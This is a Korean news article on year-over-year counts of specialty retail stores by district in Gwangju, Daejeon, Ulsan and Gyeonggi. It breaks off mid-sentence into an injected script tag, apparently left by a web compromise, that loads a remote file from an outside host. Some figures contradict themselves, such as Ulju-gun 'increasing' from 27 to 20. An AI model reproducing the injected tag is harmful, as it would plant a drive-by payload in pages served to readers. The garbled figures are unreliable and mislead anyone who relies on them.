7개 광역시를 제외한 도별 전문점수는 9월말 현재 4,834개로 전체 49.9%의 점유율을 차지하고 있다. 지난해 점유율 47%에 비해 3% 증가한 수치다.
특히 올해 55곳의 전문점이 문을 닫은 경남지역을 뺀 다른 도의 경우, 전문점이 많게는 10%이상의 증가세를 보였다.
◇광주, 북구 단연 톱=광주는 대구와 마찬가지로 전문점수가 늘어난 광역대도시로 나타났다. 지난해 456곳이던 전문점 수가 올해는 462곳으로 6곳이 증가했다. 남구와 복구만 소폭 감소했을 뿐, 전체적으로 전문점이 증가하는 현상이 나타났다.
광주지역에서 가장 많은 전문점을 갖고 있는 자치구는 북구다. 지난해 147곳에서 142곳으로 5곳의 감소했지만 인구 분포에서 젊은층의 거주가 두드러지고 전남의 북부와 타시도 연결하는 관문지역으로 여전히 건재함을 과시하고 있다. 광주지역 최대 신흥지역인 서구는 상무지구, 첨단지구, 하남지구 등 신도시 개발과 함께 상권이 다핵화되면서 전문점도 해마다 빠르게 늘고 있다. 서구는 지난해 102곳이었지만 올해는 12곳이나 새롭게 생겨 114곳이 운영되고 있다.
광주지역 최대 가두상권이 충장로 지역의 동구는 지난해보다 2곳이 늘어 80곳의 전문점이 분포되고 있으며 광산구는 1곳이 줄어 올해는 74곳이 영업 중이다. 광주에서 전문점이 가장 적은 남구는 지난해보다 2곳이 줄어든 52곳이 운영되고 있다.
◇대전, 전문점 약세 지속=행정수도 이전의 후광에도 불구하고 대전은 전문점 수가 소폭 감소한 것으로 나타났다. 대전은 이번 조사에서 지난해 390곳에서 14곳이 줄어든 376곳이 있는 것으로 조사됐다. 또한 신도시로 주목받고 있는 대덕구를 제외하곤 모든 자치구에서 전문점이 줄어들었다. 대전에서 전문점이 가장 많은 지역은 서구다. 지난해 129곳에서 4곳이 줄어 125곳의 전문점이 영업 중인 것으로 조사됐다. 구도심 상권인 중구에서는 전문점 수의 감소세가 지속되고 있다. 지난해 86곳에서 83곳으로 3곳이나 감소했다.
◇울산 약세, 지역경기 원인=울산 지역 전문점 수는 모두 302곳이다. 지난해 310곳에서 8곳이나 줄어든 것으로 지역경제 침체의 영향을 받은 것으로 분석되고 있다. 울산에서 전문점이 가장 많은 남구는 지난해 115곳에서 9곳이나 감소돼 현재는 106곳의 전문점이 분포하고 있다.
반대로 중구와 울주군, 북구는 소폭 늘어나는 선전을 보였다. 중구는 지난해 70곳에서 71곳으로, 울주군은 27곳에서 20곳으로, 북구는 32곳에서 34곳으로 각각 늘었다난 것으로 조사됐다.
◇경기, 1358개로 전국 2위=경기도에 있는 전문점 수는 모두 1,358곳으로 서울에 이어 두 번째 많다. 하지만 지난해 1,420곳에서 1년 사이 62곳이나 줄어든 것으로 나타났다. 관내 31곳의 기초지자체 중 전문점이 늘어난 지역은 수원, 성남, 부천, 용인, 양주, 동두천 군포, 광주, 고양 등 9곳이고 나머지는 전체적으로 감소했다. 전문점이 증가한 지역은 서울을 잇는 전철노선과 대단위 아파트 단지가 들어섰다는 공통점을 갖고 있다. 인구유입에 따른 유동인구 확장으로 전문점도 덩달아 늘고 있는 것이다.
경기도가 인구분포와 지역개발 등의 편차가 심해 결과적으로 전문점의 부침도 이에 편승하는 경향을 보이고 있다.
경기도에서 전문점이 가장 많은 곳은 수원으로 총 199곳이 분포하고 있다. 지난해보다 195곳보다 4곳이 증가했고 전국 기초단체지역 가운데 가장 많은 전문점을 보유하고 있다. 특히 수원은 천안까지 연장된 국철 1호선으로 인해 유동인구도 크게 늘어, 이 지역 전문점 활성화에 결정적인 원인으로 작용하고 있다.
뒤를 이어 성남이 180곳이 차지했다. 특히 성남은 지난해 163곳보다 무려 17곳이나 늘어, 높은 수직?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
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